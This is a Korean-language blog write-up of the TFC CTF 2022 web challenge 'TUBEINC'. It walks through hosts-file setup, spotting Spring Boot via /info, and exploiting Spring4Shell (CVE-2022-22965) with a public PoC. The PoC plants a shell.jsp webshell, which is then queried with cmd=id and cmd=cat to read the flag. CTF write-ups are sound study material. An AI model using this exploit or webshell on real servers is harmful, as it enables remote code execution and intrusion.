Post

[TFC CTF 2022] TUBEINC

TUBEINC

๋Œ€ํšŒ ์ค‘์—๋Š” ํ’€์ง€ ๋ชปํ–ˆ๋˜ ๋ฌธ์ œ์ธ๋ฐ Writeup์„ ๋ณด๋‹ˆ ์žฌ๋ฐŒ์–ด์„œ ์ •๋ฆฌํ•ด๋ณธ๋‹ค.

Untitled

๋ฌธ์ œ ํŽ˜์ด์ง€์˜ ๋ชจ์Šต์ด๋‹ค ํฌ๊ฒŒ ์–ป์„ ๊ฒƒ์€ ์—†์ง€๋งŒ ํŽ˜์ด์ง€ ํ•˜๋‹จ์— ๋ณด๋ฉด

1
2
3
4
5
6
<footer>
  <p>For the complete functionality of the page add the following entries to your DNS configuration and use tube.com:PORT to connect to the platform.<br>
    34.65.33.171 tube.com<br>
    34.65.33.171 legacy.tube.com<br>
    DO NOT USE THIS IN PRODUCTION!</p>
</footer>

IP์ฃผ์†Œ์™€ ๋„๋ฉ”์ธ ์ฃผ์†Œ๊ฐ„ ๋งคํ•‘ ์„ค์ •์ด ๋ณด์ธ๋‹ค.
์ด๋ฅผ ๋กœ์ปฌ์—์„œ ๋งž์ถฐ์ฃผ๊ธฐ ์œ„ํ•ด hostํŒŒ์ผ(C:\Windows\System32\drivers\etc\hosts)์„ ๋ณ€๊ฒฝํ•ด์•ผ ํ•œ๋‹ค.


hosts ํŒŒ์ผ์ด๋ž€?

Untitled

IP์ฃผ์†Œ์™€ ๋„๋ฉ”์ธ์„ ๋งคํ•‘ํ•ด์ฃผ์–ด DNS์—์„œ ์ฃผ์†Œ๋ฅผ ์ œ๊ณต ๋ฐ›์ง€ ์•Š๊ณ ๋„ ์„œ๋ฒ„๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋ฆฌ์ŠคํŠธ์ด๋‹ค.
hostsํŒŒ์ผ์„ ๋ณด๋ฉด localhost๊ฐ€ loopback์ธ 127.0.0.1๋กœ ์„ค์ •๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.


1
2
3
4
5
# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost
34.65.33.171 tube.com
34.65.33.171 legacy.tube.com

local์˜ hosts ํŒŒ์ผ์„ ์œ„์ฒ˜๋Ÿผ ๋ณ€๊ฒฝํ•ด์ฃผ๊ณ  ๋‹ค์‹œ ๋ฌธ์ œ ์‚ฌ์ดํŠธ๋กœ ๋“ค์–ด๊ฐ€๋ณด๋ฉด alert ์ฐฝ์ด ๋œฌ๋‹ค.

Untitled

html ์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ์ˆจ์–ด์žˆ๋Š” ์ฃผ์„์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

1
2
3
4
5
6
7
  <!--
    Important!
    Due to the recent discovery of a major vulnerability of the used framework, this platform is now deprecated (more information at /info).
    It remains available only for backward compatibility reasons.

    DO NOT USE THIS PLATFORM IN PRODUCTION!
  -->

/info ๊ฒฝ๋กœ์— ๋“ค์–ด๊ฐ€๋ณด๋ฉด

Untitled

spring-boot๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  22๋…„ 3์›” 30์ผ์ด ๋งˆ์ง€๋ง‰ ์—…๋ฐ์ดํŠธ ์ธ ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.
๊ด€๋ จ CVE๋ฅผ ์ฐพ์•„๋ณด๋ฉด spring4shell(CVE-2022-22965) ๊ฐ€ ์žˆ๋‹ค. Untitled

LunaSec
Kisa


์ทจ์•ฝ ์กฐ๊ฑด

  • JAVA 9์ด์ƒ
  • Apache Tomcat ์„œ๋ฒ„
  • Spring Framwork ๋ฒ„์ „ 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 ๋ฐ ์ด์ „ ๋ฒ„์ „
  • Spring-webmvc ๋˜๋Š” Spring-webflux ์ข…์†์„ฑ
  • WAR ํ˜•ํƒœ๋กœ ํŒจํ‚ค์ง•

Exploit

๊ตฌ๊ธ€๋ง์„ ํ•ด๋ณด๋ฉด spring4shell ์ทจ์•ฝ์ ์„ ํ†ตํ•ด Webshell์„ ์–ป์„ ์ˆ˜ ์žˆ๋Š” POC๊ฐ€ ์žˆ๋‹ค.
POC

Exploit POC

1
2
3
4
5
6
7
8
9
10
11
12
13
python exploit.py --url "http://legacy.tube.com:49445"
โ”€โ”€(dim.,juil.31)โ”€โ”˜
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://legacy.tube.com:49445/shell.jsp?cmd=id

Untitled

Shell์„ ๋•„๋‹ค. cmd=cat user.flag ๋กœ FLAG๋ฅผ ์–ป์—ˆ๋‹ค.

Untitled

This post is licensed under CC BY 4.0 by the author.